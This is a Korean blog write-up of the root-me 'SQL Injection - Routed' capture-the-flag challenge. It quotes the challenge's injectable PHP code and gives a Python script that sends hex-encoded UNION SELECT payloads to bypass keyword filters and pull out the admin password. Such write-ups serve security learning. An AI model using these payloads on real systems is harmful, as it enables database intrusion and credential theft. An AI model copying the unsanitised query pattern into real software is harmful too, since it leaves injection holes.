root-Me SQL Injection - Routed을 풀고 싶으신가요?
Do you want to solve root-Me SQL Injection - Routed?
레고레고
Let's make it happen~!
[ root-Me#5 SQL Injection - Routed ]
Table of contents
#0 Concept
#1 Problem
#2 How to Solve
#0. Concept
Mysql에서 select 0x31206F722074727565202D2D20 란?
Mysql에서 select 0x31206F722074727565202D2D20 의 결과는 문자열 "1 or true -- "이다.
#1. Problem
SQL Injection - Routed / admin 비밀번호를 찾아라.
#3. How to solve
SQL Injection 포인트 확인하고, SQL Injection 시도를 해보자.
->Search 메뉴에서 Login 란에 "admin' -- "을 입력했을때, admin과 동일한 Found ID, Email 값을 반환한다.
정상적으로 "'-- " 값이 문자열에 들어가지 않고 쿼리문에 삽입된 것을 확인할 수 있다.
or, and, ' union select null,null order by 1 -- 등의 문자열이 필터링 돼 쿼리 삽입이 어렵다. 힌트를 보자;
아래의 코드를 실행했을 때, admin password가 정상적으로 실행되도록 해야한다.
소스코드는 첫번째 쿼리 실행 결과를 두번째 쿼리에 이용하여 user 정보를 반환하는 로직으로 구현되어 있다.
<?$id=$_GET['id'];
$query="SELECT id,sec_code FROM users WHERE id='$id'";
if (!$result=mysql_query($query,$conn)) die("Error While Selection process : " . mysql_error());
if(mysql_num_rows($result) == 0) die();
$row = mysql_fetch_array($result, MYSQL_ASSOC);
$query="SELECT username FROM users WHERE sec_code='".$row['sec_code']."'";
echo "<br><font color=red>This is the query which gives you Output : </font>$query<br><br>";
if (!$result=mysql_query($query,$conn)) die("Error While Selection process : " . mysql_error());
if(mysql_num_rows($result) == 0) die("Invalid Input parameter");
$row = mysql_fetch_array($result, MYSQL_ASSOC);
echo 'Username is : ' . $row['username'] . "<br>";
?>
2개의 조건만 맞추면 된다.
1. 필터링 우회를 위해 0x$(Hex String)을 이용하여 첫번째 쿼리 실행
2. 첫번째 쿼리 결과를 두번째 쿼리에 삽입되어 DB 정보 추출
import requests
import binascii
#y=binascii.hexlify(b'asdf')
#print(str(y,'ascii'))
origin=b"3 union select table_name from information_schema.tables limit 1 offset 1"
origin=b"4' union select 1,table_name from information_schema.tables where table_schema = database() limit 0,1 -- "
origin=b"4' union select 1,column_name from information_schema.columns where table_name='users' limit 2,1 -- "
origin=b"4' union select id, password from users where id=3 limit 0,1-- "
payload=str(binascii.hexlify(origin),'ascii')
datas={"login":f"' union select 0x{payload} -- "}
re=requests.post(url="http://challenge01.root-me.org/web-serveur/ch49/index.php?action=search",data=datas,verify=False)
print(re.text)
+획득한 지식
limit 0,1 = limit 0 offset 1
'HACKING_GAME > WEB' 카테고리의 다른 글
root-Me#7 Node.js Eval (0) | 2021.04.08 |
---|---|
root-Me#6 Graphql (0) | 2021.01.04 |
root-Me#4 Revoked Token - JWT (0) | 2020.12.14 |
root-ME#2 Java Server-side Template Injection (0) | 2020.07.24 |
root-me#1 Local File Inclusion - Double encoding (0) | 2020.07.13 |